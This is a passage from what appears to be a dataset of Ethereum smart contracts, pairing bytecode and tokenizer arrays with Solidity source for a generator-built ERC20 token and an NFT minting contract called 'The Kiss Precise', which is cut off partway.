15260206004820181905260248201527f4d65726b6c654469737472696275746f723a20496e76616c69642070726f6f666044820152606401610267565b61039d8661093b565b6103de73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ab846fb6c81370327e784ae7cbb6d6a6af6ff4bf16868661097a565b6040805187815273ffffffffffffffffffffffffffffffffffffffff871660208201529081018590527f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269060600160405180910390a1505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146104bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610267565b6104c76000610a0c565b565b6000806104d861010084610f1a565b905060006104e861010085610fbc565b60009283526001602081905260409093205492901b9182169091149392505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461058b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610267565b7f000000000000000000000000ab846fb6c81370327e784ae7cbb6d6a6af6ff4bf73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156106f3577f0000000000000000000000000000000000000000000000000000000061f93ac542101561068f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f4d65726b6c654469737472696275746f723a204e6f7420616c6c6f776564206260448201527f65666f726520656e64206f6620646973747269627574696f6e000000000000006064820152608401610267565b6106ef6106b160005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ab846fb6c81370327e784ae7cbb6d6a6af6ff4bf16908361097a565b5050565b6106ef61071560005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff8416908361097a565b60005473ffffffffffffffffffffffffffffffffffffffff1633146107b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610267565b73ffffffffffffffffffffffffffffffffffffffff8116610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610267565b61086081610a0c565b50565b600081815b855181101561092e5760008682815181106108ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508083116108ee57604080516020810185905290810182905260600160405160208183030381529060405280519060200120925061091b565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061092681610f5e565b915050610868565b50831490505b9392505050565b600061094961010083610f1a565b9050600061095961010084610fbc565b600092835260016020819052604090932080549390911b9092179091555050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610a07908490610a81565b505050565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610ae3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610b8d9092919063ffffffff16565b805190915015610a075780806020019051810190610b019190610de3565b610a07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610267565b6060610b9c8484600085610ba4565b949350505050565b606082471015610c36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610267565b843b610c9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610267565b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051610cc79190610ead565b60006040518083038185875af1925050503d8060008114610d04576040519150601f19603f3d011682016040523d82523d6000602084013e610d09565b606091505b5091509150610d19828286610d24565b979650505050505050565b60608315610d33575081610934565b825115610d435782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102679190610ec9565b803573ffffffffffffffffffffffffffffffffffffffff81168114610d9b57600080fd5b919050565b600060208284031215610db1578081fd5b61093482610d77565b60008060408385031215610dcc578081fd5b610dd583610d77565b946020939093013593505050565b600060208284031215610df4578081fd5b81518015158114610934578182fd5b600060208284031215610e14578081fd5b5035919050565b600080600080600060808688031215610e32578081fd5b85359450610e4260208701610d77565b935060408601359250606086013567ffffffffffffffff80821115610e65578283fd5b818801915088601f830112610e78578283fd5b813581811115610e86578384fd5b8960208260051b8501011115610e9a578384fd5b9699959850939650602001949392505050565b60008251610ebf818460208701610f2e565b9190910192915050565b6020815260008251806020840152610ee8816040850160208701610f2e565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b600082610f2957610f29610fd0565b500490565b60005b83811015610f49578181015183820152602001610f31565b83811115610f58576000848401525b50505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610fb5577f4e487b710000000000000000000000000000000000000000000000000000000081526011600452602481fd5b5060010190565b600082610fcb57610fcb610fd0565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fdfea264697066735822122032e84ab7330a3c60d5d8ef4ff221e1941bdaf267a2c85c8426f47ae30281d35464736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2575, 2620, 2620, 17465, 2475, 2050, 17914, 2050, 2549, 2050, 2581, 2683, 2683, 2575, 19481, 2278, 2620, 2094, 2683, 2575, 2050, 12376, 2063, 20842, 26187, 2629, 2497, 17914, 20842, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1012, 1013, 2330, 1011, 22116, 1013, 19706, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2330, 1011, 22116, 1013, 8860, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2330, 1011, 22116, 1013, 1013, 21183, 12146, 1013, 21442, 19099, 18907, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2330, 1011, 22116, 1013, 19706, 1013, 10047, 2121, 19859, 2923, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,811
0x9769DED8Af893fC1F795b50785c7E23649A848e5
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2575, 2683, 5732, 2620, 10354, 2620, 2683, 2509, 11329, 2487, 2546, 2581, 2683, 2629, 2497, 12376, 2581, 27531, 2278, 2581, 2063, 21926, 21084, 2683, 2050, 2620, 18139, 2063, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,812
0x976A145BcE31266d3Ed460a359330Dd53466db97
// SPDX-License-Identifier: MIT // Copyright 2022 Arran Schlosberg pragma solidity >=0.8.0 <0.9.0; import "./IKissRenderer.sol"; import "./IPublicMintable.sol"; import "@divergencetech/ethier/contracts/crypto/SignatureChecker.sol"; import "@divergencetech/ethier/contracts/erc721/ERC721Common.sol"; import "@divergencetech/ethier/contracts/erc721/ERC721Redeemer.sol"; import "@divergencetech/ethier/contracts/sales/ArbitraryPriceSeller.sol"; import "@divergencetech/ethier/contracts/utils/Monotonic.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; /** @notice A pure-Solidity generative-art NFT, The Kiss Precise: www.thekiss.xyz */ contract TheKissPrecise is ERC721Common, ArbitraryPriceSeller, IERC2981, IPublicMintable { using EnumerableSet for EnumerableSet.AddressSet; using ERC165Checker for address; using ERC721Redeemer for ERC721Redeemer.Claims; using Monotonic for Monotonic.Increaser; using SignatureChecker for EnumerableSet.AddressSet; /** @notice Address of the PROOF OF {ART}WORK NFT. Hodlers are guaranteed 2x Kiss mints. */ IERC721 public immutable poaw; /** @notice Address of the Brotchain NFT. Hodlers are guaranteed 1x Kiss mint. */ IERC721 public immutable brot; constructor( address _renderer, IERC721 _poaw, IERC721 _brotchain ) ERC721Common("The Kiss Precise", "KISS") ArbitraryPriceSeller( Seller.SellerConfig({ totalInventory: 1024, maxPerAddress: 0, maxPerTx: 0, freeQuota: 20, reserveFreeQuota: true, lockFreeQuota: false, lockTotalInventory: true }), payable(0x5D484C0546679aaCe24c330b301CC6baDFA60259) ) { poaw = _poaw; brot = _brotchain; setRenderer(_renderer); } /** @notice Minting price for public minters. */ uint256 public publicPrice = 0.314159 ether; /** @notice Minting price for hodlers of divergence tokens, PO{A}W or Brotchain. */ uint256 public collectorPrice = 0.256 ether; /** @notice Updates the prices for the two tiers. */ function setPrice(uint256 public_, uint256 collectors) external onlyOwner { publicPrice = public_; collectorPrice = collectors; } /** @notice Proxy contract from which public minting requests are allowed. */ address public publicMinter; /** @notice Toggles the public-minting contract. */ function setPublicMinter(address _publicMinter) external onlyOwner { publicMinter = _publicMinter; } /** @notice Mint as a member of the public, but only via minter contract. @dev This allows for arbitrary control of minting logic post deployment. */ function mintPublic(address to, uint256 n) external payable { require(msg.sender == publicMinter, "Direct public minting"); _purchase(to, n, publicPrice); } /** @notice Flag reflecting if collector (PO{A}W or Brotchain) minting is open. */ bool public collectorMinting = false; /** @notice Toggles the collector-minting flag. */ function setCollectorMinting(bool _collectorMinting) external onlyOwner { collectorMinting = _collectorMinting; } /** @notice Already-claimed mints from the PROOF OF {ART}WORK and Brotchain guaranteed pools. */ ERC721Redeemer.Claims private poawClaims; ERC721Redeemer.Claims private brotClaims; uint256 private constant CLAIM_ALLOWANCE = 1; /** @notice Mint as a holder of PROOF OF {ART}WORK or Brotchain token(s). @dev Only one of the two collections can be claimed per call. @param poawIds PROOF OF {ART}WORK tokenIds to claim against; each claim receives an extra free Kiss. @param brotIds Brotchain tokenIds to claim against. */ function claimCollectorMints( uint256[] calldata poawIds, uint256[] calldata brotIds ) external payable { require(collectorMinting, "Collector minting closed"); // To adjust for the free Kiss to PO{A}W holders, we halve the price and // double the number redeemed. Because of potential rounding errors, we // therefore can't merge with Brotchain redemption. It also isn't safe // to call _purchase() twice in a single transaction as msg.value will // be double spent. if (poawIds.length > 0) { _purchase( msg.sender, 2 * poawClaims.redeem( CLAIM_ALLOWANCE, msg.sender, poaw, poawIds ), collectorPrice / 2 ); } else { _purchase( msg.sender, brotClaims.redeem(CLAIM_ALLOWANCE, msg.sender, brot, brotIds), collectorPrice ); } } /** @notice Returns the number of additional claims that can be made, via claimCollectorMints(), with the specific PROOF OF {ART}WORK token. */ function poawClaimsRemaining(uint256 tokenId) external view returns (uint256) { return claimsRemaining(poaw, poawClaims, CLAIM_ALLOWANCE, tokenId); } /** @notice Returns the number of additional claims that can be made, via claimCollectorMints(), with the specific Brotchain token. */ function brotchainClaimsRemaining(uint256 tokenId) external view returns (uint256) { return claimsRemaining(brot, brotClaims, CLAIM_ALLOWANCE, tokenId); } function claimsRemaining( IERC721 token, ERC721Redeemer.Claims storage claims, uint256 maxAllowance, uint256 tokenId ) private view returns (uint256) { token.ownerOf(tokenId); // will revert if non-existent return claims.unclaimed(maxAllowance, tokenId); } /** @notice Set of addresses from which valid signatures will be accepted to provide access to minting. */ EnumerableSet.AddressSet private signers; /** @notice Add an address allowed to sign minting access. */ function addSigner(address signer) external onlyOwner { signers.add(signer); } /** @notice Remove an address from those allowed to sign minting access. */ function removeSigner(address signer) external onlyOwner { signers.remove(signer); 